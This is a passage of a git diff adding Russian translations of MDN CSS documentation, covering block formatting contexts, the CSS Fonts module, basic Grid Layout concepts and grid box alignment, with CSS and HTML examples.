Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создает блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создает новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.

+ +

Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создается в следующих случаях:

+ +
    +
  • плавающие элементы ({{cssxref("float", "float: left", "#left")}} или {{cssxref("float", "float: right", "#right")}});
    • +
  • абсолютно позиционированные элементы ({{cssxref("position", "position: absolute", "#absolute")}}, {{cssxref("position", "position: fixed", "#fixed")}} или {{cssxref("position", "position: sticky", "#sticky")}});
    • +
  • элементы с {{cssxref("display", "display: inline-block", "#inline-block")}};
    • +
  • ячейки табицы или элементы с display: table-cell, включая анонимные ячейки таблицы, которые создаются, когда используются свойства display: table-*;
    • +
  • заголовки таблицы или элементы с display: table-caption;
    • +
  • блочные элементы, когда значение свойства overflow отлично от visible;
    • +
  • элементы с display: flow-root или display: flow-root list-item;
    • +
  • элементы с {{cssxref("contain", "contain: layout", "#layout")}}, content, или strict
    • +
  • {{Glossary("flex item", "флекс-элементы")}};
    • +
  • грид-элементы;
    • +
  • контейнеры мультиколонок;
    • +
  • элементы с {{cssxref("column-span")}} в значении all.
    • +
+ + + +

Let's have a look at a couple of these in order to see the effect creating a new BFC.

+ +

In the example below, we have a floated element inside a <div> with a border applied. The content of that div has floated alongside the floated element. As the content of the float is taller than the content alongside it, the border of the div now runs through the float. As explained in the guide to in-flow and out of flow elements, the float has been taken out of flow so the background and border of the div only contain the content and not the float.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}

+ +

Creating a new BFC would contain the float. A typical way to do this in the past has been to set overflow: auto or set other values than the initial value of overflow: visible.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}

+ +

Setting  overflow: auto created a new BFC containing the float. Our div now becomes a mini-layout inside our layout. Any child element will be contained inside it.

+ +

The problem with using overflow to create a new BFC is that the overflow property is meant for telling the browser how you wish to deal with overflowing content. There are some occasions in which you will find you get unwanted scrollbars or clipped shadows when you use this property purely to create a BFC. In addition, it is potentially not very readable for a future developer, as it may not be obvious why you used overflow for this purpose. If you do this, it would be a good idea to comment the code to explain.

+ +

Explicitly creating a BFC using display: flow-root

+ +

Using display: flow-root (or display: flow-root list-item) on the containing block will create a new BFC without any other potentially problematic side-effects.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}

+ +

With display: flow-root on the {{HTMLElement("div")}}, everything inside that container participates in the block formatting context of that container, and floats will not poke out of the bottom of the element.

+ +

The name of the flow-root keyword refers to the fact that you're creating something that serves, in essence, like a new root element (like {{HTMLElement("html")}} does), given how the new context is created and its flow layout functions.

+ +

Inline formatting contexts

+ +

Inline formatting contexts exist inside other formatting contexts and can be thought of as the context of a paragraph. The paragraph creates an inline formatting context inside which such things as {{HTMLElement("strong")}}, {{HTMLElement("a")}}, or {{HTMLElement("span")}} elements are used on text.

+ +

The box model does not fully apply to items participating in an inline formatting context. In a horizontal writing mode line, horizontal padding, borders and margin will be applied to the element and push the text away left and right. However, margins above and below the element will not be applied. Vertical padding and borders will be applied but may  overlap content above and below as, in the inline formatting context, the line boxes will not be pushed apart by padding and borders.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}

+ +

Other formatting contexts

+ +

This guide covers flow layout and is therefore not referring to other possible formatting contexts. As such, it is useful to understand that creating any kind of formatting context will change the way elements inside that formatting context behave. This behavior is always described in the specification and also here on MDN.

+ +

Summary

+ +

In this guide, we have looked in more detail at the block and Inline formatting contexts and the important subject of creating a block formatting context (BFC). In the next guide, we will find out how normal flow interacts with different writing modes.

+ +

See also

+ + diff --git a/files/ru/web/css/css_fonts/index.html b/files/ru/web/css/css_fonts/index.html new file mode 100644 index 0000000000..4291fd6253 --- /dev/null +++ b/files/ru/web/css/css_fonts/index.html @@ -0,0 +1,132 @@ +--- +title: CSS Fonts +slug: Web/CSS/CSS_Fonts +translation_of: Web/CSS/CSS_Fonts +--- +
{{CSSRef}}
+ +

CSS Fonts - модуль в CSS, который определяет свойства связанные со шрифтами и как шрифтовые ресурсы загружаются. Модуль позволяет вам задать стиль шрифта, вроде font-family, font-size и font-weight, lineheight и варианты отображения знаков, когда для одного доступны сразу несколько

+ +

Базовый пример

+ +

Следующий пример показывает простое использование шрифтовых свойств, стилизующих тэг <p>.

+ +
p {
+  width: 600px;
+  margin: 0 auto;
+  font-family: "Helvetica Neue", "Arial", sans-serif;
+  font-style: italic;
+  font-weight: 100;
+  font-variant-ligatures: normal;
+  font-size: 2rem;
+  letter-spacing: 1px;
+}
+ +
<p>Three hundred years ago<br>
+  I thought I might get some sleep<br>
+  I stretched myself out onna antique bed<br>
+  An' my spirit did a midnite creep</p>
+ +

Вывод на экран будет следующим:

+ +

{{EmbedLiveSample('Basic_example', '100%', '200')}}

+ +

Различные примеры шрифтов

+ +

Вы можете найти множетсво вариантов шрифтов на v-fonts.com и axis-praxis.org; так же смотрите наше руководство Variable fonts для большей информации по использованию.

+ +

Отсылки

+ +

Properties

+ +
+
    +
  • {{cssxref("font")}}
    • +
  • {{cssxref("font-family")}}
    • +
  • {{cssxref("font-feature-settings")}}
    • +
  • {{cssxref("font-kerning")}}
    • +
  • {{cssxref("font-language-override")}}
    • +
  • {{cssxref("font-optical-sizing")}}
    • +
  • {{cssxref("font-size")}}
    • +
  • {{cssxref("font-size-adjust")}}
    • +
  • {{cssxref("font-stretch")}}
    • +
  • {{cssxref("font-style")}}
    • +
  • {{cssxref("font-synthesis")}}
    • +
  • {{cssxref("font-variant")}}
    • +
  • {{cssxref("font-variant-alternates")}}
    • +
  • {{cssxref("font-variant-caps")}}
    • +
  • {{cssxref("font-variant-east-asian")}}
    • +
  • {{cssxref("font-variant-ligatures")}}
    • +
  • {{cssxref("font-variant-numeric")}}
    • +
  • {{cssxref("font-variant-position")}}
    • +
  • {{cssxref("font-variation-settings")}}
    • +
  • {{cssxref("font-weight")}}
    • +
  • {{cssxref("line-height")}}
    • +
+
+ +

At-rules

+ +
+
{{cssxref("@font-face")}}
+
+
+
    +
  • {{cssxref("@font-face/font-family", "font-family")}}
    • +
  • {{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}
    • +
  • {{cssxref("@font-face/font-style", "font-style")}}
    • +
  • {{cssxref("@font-face/font-variant", "font-variant")}}
    • +
  • {{cssxref("@font-face/font-weight", "font-weight")}}
    • +
  • {{cssxref("@font-face/font-stretch", "font-stretch")}}
    • +
  • {{cssxref("@font-face/src", "src")}}
    • +
  • {{cssxref("@font-face/unicode-range", "unicode-range")}}
    • +
+
+
+
{{cssxref("@font-feature-values")}}
+
+ +

Руководство

+ +
+
Fundamental text and font styling
+
В этой обучающей статье для новичков мы детально описываем основы стилизации текста/шрифта, включая определение жирности начертания, вида шрифта и стилей, рассматриваем сокращённую запись свойства font, декорации текста и другие эффекты, а так же межстрочные и межбуквенные интервалы.
+
OpenType font features guide
+
Особенности шрифтов или их варианты ссылаются на различные стили символов или букв, содержащиеся в OpenType. Руководство описывает такие вещи как лигатура (специальные символы объединяющие буквы вроде 'fi' или 'ffl'), кернинг (то, как свободное место распределяется между различными символами) и другое. Всё перечисленное относится к особенностям OpenType и позволяет использовать в вэбе специальные свойства и свойства контроля нижнего уровня {{cssxref("font-feature-settings")}}. В статье есть всё, что вам нужно знать об особенностях OpenType шрифтов в CSS.
+
Variable fonts guide
+
Variable fonts are an evolution of the OpenType font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. This article will give you all you need to know to get you started using variable fonts.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Fonts')}}{{Spec2('CSS4 Fonts')}}Adds font-variation-settings (and related higher-level properties) and font-optical-sizing.
{{SpecName('CSS3 Fonts')}}{{Spec2('CSS3 Fonts')}}Adds font-feature-settings (and related higher-level properties)
{{SpecName('CSS2.1', 'fonts.html#font-shorthand', '')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1', '#font', '')}}{{Spec2('CSS1')}}Initial definition
diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html new file mode 100644 index 0000000000..a616e84382 --- /dev/null +++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -0,0 +1,724 @@ +--- +title: Основные понятия Grid Layout +slug: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout +translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout +--- +

CSS Grid Layout представляет двумерную сетку для CSS. Grid (здесь и далее подразумевается CSS Grid Layout ) можно использовать для размещения основных областей страницы или небольших элементов пользовательского интерфейса. В этой статье описывается компоновка сетки CSS и новая терминология, которая является частью спецификации CSS Grid Layout Level 1. Функции, показанные в этом обзоре, будут более подробно описаны в остальной части данного руководства.

+ +

Что такое Grid?

+ +

Grid представляет собой пересекающийся набор горизонтальных и вертикальных линий - один набор определяет столбцы, а другой строки. Элементы могут быть помещены в сетку, соответственно строкам и столбцам.  Grid имеет следующие функции:

+ +

Фиксированные и гибкие размеры полос

+ +

Вы можете создать сетку с фиксированными размерами полос — например, используя пиксели. Вы также можете создать сетку с гибкими размерами, используя проценты или новую единицу измерения - fr, предназначенную для этой цели.

+ +

Расположение элемента

+ +

Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путем привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.

+ +

Создание дополнительных полос для хранения контента

+ +

Вы можете определить явную сетку с макетом сетки, но спецификация также касается контента, добавленного за пределами объявленной сетки, при необходимости добавляя дополнительные строки и столбцы. Включены такие функции, как добавление «столько столбцов, сколько будет помещено в контейнер».

+ +

Управление выравниванием

+ +

Grid содержит функции выравнивания, чтобы мы могли контролировать, как элементы выравниваются после размещения в области сетки, и как выравнивается весь Grid.

+ +

Управление перекрывающимся контентом

+ +

В ячейку сетки может быть помещено более одного элемента, или области могут частично перекрывать друг друга. Затем это расслоение можно контролировать с помощью {{cssxref ("z-index")}}.

+ +

Grid - это мощная спецификация и в сочетании с другими частями CSS, такими как flexbox, может помочь вам создать макеты, которые ранее невозможно было построить в CSS. Все начинается с создания сетки в вашем grid контейнере.

+ +

Grid контейнер

+ +

Мы создаем grid контейнер, объявляя display: grid или display: inline-grid на элементе. Как только мы это сделаем, все прямые дети этого элемента станут элементами сетки.

+ +

В этом примере есть div, содержащий класс wrapper с пятью потомками

+ +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +

Сделаем wrapper grid контейнером

+ +
.wrapper {
+  display: grid;
+}
+
+ + + +

{{ EmbedLiveSample('Grid_контейнер', '200', '330') }}

+ +

Все прямые потомки теперь являются grid элементами. В веб-браузере вы не увидите никакой разницы в отображении элементов, поскольку Grid создал единую сетку столбцов для элементов. На данный момент вам может оказаться удобным работать в Firefox Developer Edition, в котором есть Grid Inspector, доступный как часть инструментов разработчика. Если вы просмотрите этот пример в Firefox и проверите Grid, вы увидите маленький значок рядом с display: grid. Нажмите этот значок, и сетка на этом элементе будет наложена в окне браузера.

+ +

Using the Grid Highlighter in DevTools to view a grid

+ +

По мере вашего обучения и последующей работы с CSS Grid Layout этот инструмент даст вам лучшее визуальное представление о том, что происходит с вашей сеткой.

+ +

Если мы хотим, чтобы это стало более похожим на сетку, нам нужно добавить полосы.

+ +

Grid Tracks

+ +

Мы определяем ряды и столбцы в нашей сетке при помощи свойств {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Это определяет полосы сетки. Полоса сетки — это место между любыми двумя линиями сетки. На изображении ниже вы можете увидеть подсветку полосы — первого трека ряда в нашей сетке.

+ +

+ +

Можно дополнить пример выше, добавив свойство grid-template-columns  и  задав размеры полос колонок.

+ +

В примере ниже мы создаём сетку с шириной колонки 200px. Каждый дочерний элемент сетки будет располагаться в отдельной ячейке сетки.

+ +
+
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+
+ + + +

{{ EmbedLiveSample('grid_first', '610', '140') }}

+
+ +

Единица измерения fr

+ +

Размер треков (полос) может быть задан с помощью любой единицы длины. Спецификация также вводит дополнительную единицу длины, позволяющую создавать эластичные (flexible) грид-треки. Новая единица длины fr представляет собой долю (fraction) доступного пространства в грид-контейнере. Определение грида в коде ниже создаст три трека равной длины, которые будут увеличиваться и уменьшаться в размерах в соответствии с доступным пространством.

+ +
+
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+ + + +

{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}

+
+ +

В следующем примере мы создаем грид с треком в  2fr и двумя треками по  1fr. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. 

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+
+ +

В последнем примере смешаем треки с абсолютной длиной и треки с длиной во fr. Размер первого трека 500 пикселей, и эта фиксированная ширина убирается из доступного пространства. Оставшееся пространство разбивается на три части и пропорционально разделяется между двумя эластичными треками.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+
+ +

Задание треков с помощью нотации repeat()

+ +

В огромных гридах с большим количеством треков можно использовать нотацию repeat() , чтобы повторить структуру треков или ее часть. Например, такое задание грида:

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+
+ +

можно записать вот так:

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+
+ +

Repeat-нотацию можно использовать как часть списка треков. В следующем примере создается грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+
+ +

Repeat-нотация в качестве аргумента принимает список треков, поэтому с ее помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной 1fr следует трек шириной 2fr , и все это дело повторяется пять раз.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
+
+ +

Явный и неявный грид

+ +

Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определенного данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создает строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задается автоматически в зависимости от находящегося в них контента.

+ +

Вы также можете задать размер треков, создаваемых в виде неявного грида с помощью свойств {{cssxref("grid-auto-rows")}} и {{cssxref("grid-auto-columns")}}.

+ +

В примере ниже мы задаем grid-auto-rows , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.

+ +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+
+ + + +

{{ EmbedLiveSample('Явный_и_неявный_грид', '230', '420') }}

+ +

Масштабирование треков и minmax()

+ +

При задании размеров явного грида или при определении размеров автоматически создаваемых колонок или строк может возникнуть следующая ситуация: мы хотим определить для треков минимальный размер, но при этом быть уверенными, что при необходимости треки растянутся, чтобы вместить весь добавленный в них контент. Например, нам нужно, чтобы строки никогда не становились меньше 100 пикселей, но если контент занимает, скажем, 300 пикселей в высоту, мы хотим, чтобы  строка тоже стала 300 пикселей.

+ +

Для подобных ситуаций в Grid  предусмотрено решение с помощью функции {{cssxref("minmax", "minmax()")}}. В следующем примере  minmax() используется, как значение свойства {{cssxref("grid-auto-rows")}}. Автоматически создаваемые строки будут как минимум 100 пикселей в высоту, а как максимум примут значение auto. Использование auto означает, что размер строки посмотрит на размер контента и растянется таким образом, чтобы вместить самый высокий элемент ячейки в этой строке. 

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+
+ + + +
<div class="wrapper">
+   <div>One</div>
+   <div>Two
+   <p>I have some more content in.</p>
+   <p>This makes me taller than 100 pixels.</p>
+</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ +

{{ EmbedLiveSample('Масштабирование_треков_и_minmax', '240', '470') }}

+ +

Grid-линии

+ +

Нужно заметить, что когда мы определяем грид, мы определяем грид-треки, а не грид-линии. После этого грид обеспечивает нас пронумерованными линиями, номера которых можно использовать для размещения элементов. Например, в гриде с тремя колонками и двумя рядами у нас - четыре колоночные линии.

+ +

Diagram showing numbered grid lines.

+ +

Линии нумеруются в соответствии с режимом написания (writing mode) документа. В языках с написанием слева-направо, линия 1 - самая левая линия в гриде. В языках с написанием справа-налево, линия 1 - самая правая линия в гриде. Линиям также можно давать имена, и - не переключайтесь, дальше мы узнаем, как это делать. 

+ +

Размещение элементов по линиям

+ +

В дальнейшем мы детально рассмотрим размещение элементов с помощью линий, а пока остановимся на простом способе. При размещении элемента мы ссылаемся именно на линию, а не на трек. 

+ +

В следующем примере мы размещаем первые два элемента в нашем гриде из трех колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.

+ +

Второй элемент начинается с колоночной линии 1 и занимает один трек. Это поведение по умолчанию, поэтому не нужно задавать конечную линию. Элемент также занимает два строчных трека - со строчной линии 3 до строчной линии 5. Остальные элементы самостоятельно размещаются в пустых пространствах грида. 

+ +
<div class="wrapper">
+   <div class="box1">One</div>
+   <div class="box2">Two</div>
+   <div class="box3">Three</div>
+   <div class="box4">Four</div>
+   <div class="box5">Five</div>
+</div>
+
+ +
.wrapper {
+    display: grid;
+    grid-template-columns: repeat(3, 1fr);
+    grid-auto-rows: 100px;
+}
+.box1 {
+    grid-column-start: 1;
+    grid-column-end: 4;
+    grid-row-start: 1;
+    grid-row-end: 3;
+}
+.box2 {
+    grid-column-start: 1;
+    grid-row-start: 3;
+    grid-row-end: 5;
+}
+
+ + + +

{{ EmbedLiveSample('Размещение_элементов_по_линиям', '230', '420') }}

+ +

Не забывайте, что Вы можете использовать Grid Inspector в Firefox Developer Tools, чтобы посмотреть, как элементы размещаются по линиям грида.

+ +

Grid-ячейки

+ +

Грид-ячейка (grid cell) - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определен для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.

+ +

The first cell of the grid highlighted

+ +

Grid-области

+ +

Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создает грид-область (grid area). Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. 

+ +

A grid area

+ +

Зазоры (Gutters)

+ +

Зазоры (Gutters) или аллеи (alleys) между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращенного свойства {{cssxref("grid-gap")}}. В примере ниже мы создаем зазор в 10 пикселей между колонками и в 1em между строками.

+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-column-gap: 10px;
+   grid-row-gap: 1em;
+}
+
+ +
<div class="wrapper">
+   <div>One</div>
+   <div>Two</div>
+   <div>Three</div>
+   <div>Four</div>
+   <div>Five</div>
+</div>
+
+ + + +

{{ EmbedLiveSample('Зазоры_Gutters') }}

+ +

Любое пространство, которое занимают зазоры, добавляется в начало эластичных треков, задаваемых с помощью fr, поэтому зазоры используются для регулирования размеров и действуют как регулярные грид-треки, хотя что-то разместить в них нельзя. В терминах расположения элементов по грид-линиям (line-based positioning) зазоры ведут себя так, как если бы самой грид-линии была добавлена толщина.

+ +

Вложенные гриды

+ +

Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трехколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.

+ +
+
<div class="wrapper">
+   <div class="box box1">
+       <div class="nested">a</div>
+       <div class="nested">b</div>
+       <div class="nested">c</div>
+    </div>
+    <div class="box box2">Two</div>
+    <div class="box box3">Three</div>
+    <div class="box box4">Four</div>
+    <div class="box box5">Five</div>
+</div>
+
+ +

Nested grid in flow

+ +

Если мы задаем для box1 значение display: grid , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.

+ +
.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+}
+
+ + +
+ +

{{ EmbedLiveSample('nesting', '600', '340') }}

+ +

В данном случае вложенный грид не связан с родительским. Как Вы можете видеть, он не наследует значение свойства {{cssxref("grid-gap")}} родительского элемента и линии вложенного грида не выравниваются по линиям родительского грида.

+ +

Подгрид (Subgrid)

+ +

В спецификации гридов уровня 2 есть функциональность, называемая подгридом (subgrid) , которая позволит нам создавать вложенные гриды, использующие структуру треков родительского грида.

+ +
+

Примечание. Эта функция поставляется в браузере Firefox 71, который в настоящее время является единственным браузером для реализации subgrid.

+
+ +

В приведенном выше примере мы можем отредактировать вложенный грид, изменив grid-template-columns: repeat(3, 1fr), на grid-template-columns: subgrid. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.

+ +
.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   display: grid;
+   grid-template-columns: subgrid;
+}
+
+ +

Размещение элементов с помощью z-index

+ +

Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещенными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:

+ +
+
<div class="wrapper">
+   <div class="box box1">One</div>
+   <div class="box box2">Two</div>
+   <div class="box box3">Three</div>
+   <div class="box box4">Four</div>
+   <div class="box box5">Five</div>
+</div>
+
+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: 100px;
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box2 {
+   grid-column-start: 1;
+   grid-row-start: 2;
+   grid-row-end: 4;
+}
+
+ + +
+ +

{{ EmbedLiveSample('l_ex', '230', '420') }}

+ +

Элемент box2 теперь перекрывает box1, и отображается сверху, поскольку в исходном коде находится ниже.

+ +

Управление порядком отображения

+ +

Порядком, в котором элементы накладываются друг на друга, можно управлять с помощью свойства z-index - точно так же, как в случае с позиционированными элементами. Если задать box2 значение z-index , меньшее, чем у box1 , в стеке он отобразится под элементом box1.

+ +
.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-auto-rows: 100px;
+}
+.box1 {
+   grid-column-start: 1;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+   z-index: 2;
+}
+.box2 {
+   grid-column-start: 1;
+   grid-row-start: 2;
+   grid-row-end: 4;
+   z-index: 1;
+}
+
+ + + +

{{ EmbedLiveSample('Управление_порядком_отображения', '230', '420') }}

+ +

Что дальше?

+ +

В данной статье мы очень кратко рассмотрели спецификацию Grid Layout. Поиграйте с примерами кода и переходите  к следующей части нашего гида, где мы детально покопаемся в недрах CSS Grid Layout.

+ + diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html new file mode 100644 index 0000000000..cc8f7b4f75 --- /dev/null +++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html @@ -0,0 +1,703 @@ +--- +title: Выравнивание блоков в CSS разметке Grid +slug: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout +translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout +--- +

Если вы знакомы с flexbox, вы уже столкнулись с тем, как гибкие элементы могут быть правильно выровнены внутри контейнера flex. Эти свойства выравнивания, которые мы впервые встретили в спецификации flexbox, были перенесены в новую спецификацию под названием Box Alignment Level 3. Эта спецификация содержит подробную информацию о том, как выравнивание должно работать во всех различных методах компоновки.

+ +

Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера еще не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.

+ +

В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнем с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.

+ +

Две оси grid layout

+ +

При работе с раскладкой сетки у вас есть две оси для выравнивания объектов - оси блока или столбца, оси inline или строки. Ось блока - это ось, на которой блоки выложены в макете блока. Если у вас есть два абзаца на вашей странице, они отображаются один под другим, поэтому в этом направлении мы описываем ось блока. В спецификации CSS Grid Layout она называется осью столбца, так как это ось, по которой выполняются наши дорожки столбцов.

+ +

Image showing the location of the Block or Column axis.

+ +

Внутренняя ось (inline axis) проходит по оси блока, это направление, в котором выполняется регулярный поток строк. В спецификации CSS Grid Layout его иногда называют осью строки, являющейся осью, по которой идут наши дорожки.

+ +

Image demonstrating the Inline or Row axis location.

+ +

Мы можем выровнять содержимое внутри областей сетки и сетка отслеживает себя на этих двух осях.

+ +

Выравнивание элементов на блоке или столбце по оси

+ +

Элементы управления {{cssxref ("align-self")}} и {{cssxref ("align-items")}} на оси блока. Когда мы используем эти свойства, мы меняем выравнивание элемента в области сетки, которую вы поместили.

+ +

В следующем примере у меня есть четыре области сетки внутри моей сетки. Я могу использовать свойство {{cssxref ("align-items")}} в контейнере сетки, чтобы выровнять элементы, используя одно из следующих значений:

+ +
    +
  • auto
    • +
  • normal
    • +
  • start
    • +
  • end
    • +
  • center
    • +
  • stretch
    • +
  • baseline
    • +
  • first baseline
    • +
  • last baseline
    • +
+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+  align-items: start;
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+}
+.item3 {
+  grid-area: c;
+}
+.item4 {
+  grid-area: d;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Item 1</div>
+  <div class="item2">Item 2</div>
+  <div class="item3">Item 3</div>
+  <div class="item4">Item 4</div>
+</div>
+
+ +

{{ EmbedLiveSample('alignment_1', '500', '450') }}

+
+ +

Имейте в виду, что после установки align-self: start высота каждого дочернего <div> будет определяться содержимым <div>. Это противоречит полностью отсутствию выравнивания и в этом случае высота каждого <div> растягивается, чтобы заполнить его область сетки.

+ +

Свойство {{cssxref ("align-items")}} устанавливает свойство {{cssxref ("align-self")}} для всех дочерних элементов сетки. Это означает, что вы можете установить свойство индивидуально, используя align-self по элементу сетки.

+ +

В следующем примере я использую свойство align-self, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения start, третий end и четвертый center.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(8, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: 100px;
+  grid-template-areas:
+    "a a a a b b b b"
+    "a a a a b b b b"
+    "c c c c d d d d"
+    "c c c c d d d d";
+}
+.item1 {
+  grid-area: a;
+}
+.item2 {
+  grid-area: b;
+  align-self: start;
+}
+.item3 {
+  grid-area: c;
